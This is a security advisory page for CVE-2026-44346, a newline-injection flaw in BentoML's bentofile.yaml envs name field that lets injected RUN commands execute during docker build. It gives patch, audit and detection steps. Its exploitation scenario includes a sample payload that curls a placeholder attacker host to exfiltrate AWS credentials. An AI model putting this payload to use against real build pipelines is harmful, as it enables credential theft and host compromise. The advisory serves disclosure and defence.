CVE-2026-44346: BentoML: Dockerfile injection enables build-time RCE
GHSA-w2pm-x38x-jp44 HIGH CISA: ATTENDBentoML versions ≤1.4.38 allow an attacker to inject arbitrary Dockerfile RUN commands via a crafted bentofile.yaml by embedding newline characters in the envs[*].name field, which the Jinja2 template renders raw and unescaped into the generated Dockerfile. This is a supply-chain RCE scenario: a threat actor distributes a poisoned .bento archive, and any developer or CI/CD pipeline running bentoml containerize executes attacker-controlled shell commands with Docker build host privileges — achieving full host compromise including credential theft and container registry poisoning. With 14 prior CVEs in the same package (risk score 58/100) and this being the third incomplete fix for the same root-cause injection class (CVE-2026-33744, CVE-2026-35043), BentoML represents systemic input validation debt in your MLOps supply chain that cannot be addressed by patching alone. Upgrade to bentoml 1.4.39 immediately and audit all imported bento artifacts from untrusted or third-party sources before re-containerizing.
What is the risk?
High risk (CVSS 8.8). No attacker privileges are required — the victim only needs to import and containerize the malicious artifact, making phishing or supply chain distribution trivially effective. The attack executes during the build phase, which typically holds cloud credentials, container registry tokens, and source code access. CI/CD pipelines automating bentoml containerize are especially exposed as they run without interactive inspection of generated Dockerfiles. The pattern of three successive incomplete patches for the same root-cause class strongly suggests additional sibling injection points remain undiscovered in the codebase.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| BentoML | pip | <= 1.4.38 | 1.4.39 |
Do you use BentoML? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Patch: Upgrade bentoml to ≥1.4.39 immediately — the fix applies bash_quote filtering to env.name in base_v2.j2 and adds schema-level regex validation.
-
Artifact audit: Inspect bentofile.yaml in any previously imported .bento archives — grep for \n, \r, or shell metacharacters (|, ;, $, `) in envs[*].name fields before re-containerizing.
-
Workaround (if patching is delayed): Do not run bentoml containerize on artifacts from untrusted sources; validate bentofile.yaml structure manually before execution.
-
CI/CD hardening: Run docker build in isolated sandboxes (rootless BuildKit, ephemeral VMs) with no production credentials mounted.
-
Detection: Audit generated Dockerfiles for unexpected RUN lines before docker build executes them; monitor for anomalous outbound network calls from build steps in build logs.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-44346?
BentoML versions ≤1.4.38 allow an attacker to inject arbitrary Dockerfile RUN commands via a crafted bentofile.yaml by embedding newline characters in the envs[*].name field, which the Jinja2 template renders raw and unescaped into the generated Dockerfile. This is a supply-chain RCE scenario: a threat actor distributes a poisoned .bento archive, and any developer or CI/CD pipeline running bentoml containerize executes attacker-controlled shell commands with Docker build host privileges — achieving full host compromise including credential theft and container registry poisoning. With 14 prior CVEs in the same package (risk score 58/100) and this being the third incomplete fix for the same root-cause injection class (CVE-2026-33744, CVE-2026-35043), BentoML represents systemic input validation debt in your MLOps supply chain that cannot be addressed by patching alone. Upgrade to bentoml 1.4.39 immediately and audit all imported bento artifacts from untrusted or third-party sources before re-containerizing.
Is CVE-2026-44346 actively exploited?
No confirmed active exploitation of CVE-2026-44346 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-44346?
1. Patch: Upgrade bentoml to ≥1.4.39 immediately — the fix applies bash_quote filtering to env.name in base_v2.j2 and adds schema-level regex validation. 2. Artifact audit: Inspect bentofile.yaml in any previously imported .bento archives — grep for \n, \r, or shell metacharacters (|, ;, $, `) in envs[*].name fields before re-containerizing. 3. Workaround (if patching is delayed): Do not run bentoml containerize on artifacts from untrusted sources; validate bentofile.yaml structure manually before execution. 4. CI/CD hardening: Run docker build in isolated sandboxes (rootless BuildKit, ephemeral VMs) with no production credentials mounted. 5. Detection: Audit generated Dockerfiles for unexpected RUN lines before docker build executes them; monitor for anomalous outbound network calls from build steps in build logs.
What systems are affected by CVE-2026-44346?
This vulnerability affects the following AI/ML architecture patterns: model serving, MLOps pipelines, container build pipelines, CI/CD for AI/ML deployments.
What is the CVSS score for CVE-2026-44346?
CVE-2026-44346 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.32%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0011 User Execution AML.T0011.000 Unsafe AI Artifacts AML.T0050 Command and Scripting Interpreter AML.T0079 Stage Capabilities Compliance Controls Affected
What are the technical details?
Original Advisory
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, a malicious bentofile.yaml containing a newline-injected value in envs[*].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. This vulnerability is fixed in 1.4.39.
Exploitation Scenario
A threat actor targets an ML team by contributing a shared bento artifact to a BentoCloud workspace or publishing it on a model hub. The bentofile.yaml envs section contains a name field with a newline followed by a malicious RUN directive — for example: FOO\nRUN curl http://c2.attacker.com/exfil?d=$(cat ~/.aws/credentials | base64). The victim imports the artifact with bentoml import and runs bentoml containerize as part of their standard model-release pipeline. BentoML's Jinja2 template renders the env.name value raw, producing the injected RUN line in the Dockerfile. Docker BuildKit executes it during docker build, exfiltrating AWS credentials to the attacker's server. The curl command appears as a normal build step in CI/CD logs, making it easy to miss in a fast-moving delivery pipeline.
Weaknesses (CWE)
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Primary
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Primary
CWE-94 Improper Control of Generation of Code ('Code Injection')
Primary
CWE-94 Improper Control of Generation of Code ('Code Injection')
Primary
CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2025-54381 9.9 BentoML: unauthenticated SSRF via file upload URLs
Same package: bentoml CVE-2025-27520 9.8 BentoML: unauthenticated RCE via insecure deserialization
Same package: bentoml CVE-2025-32375 9.8 BentoML: RCE via insecure deserialization in runner
Same package: bentoml CVE-2024-9070 9.8 BentoML: unauthenticated RCE via runner deserialization
Same package: bentoml CVE-2026-35044 8.8 BentoML: malicious bento archive RCE via Jinja2 SSTI
Same package: bentoml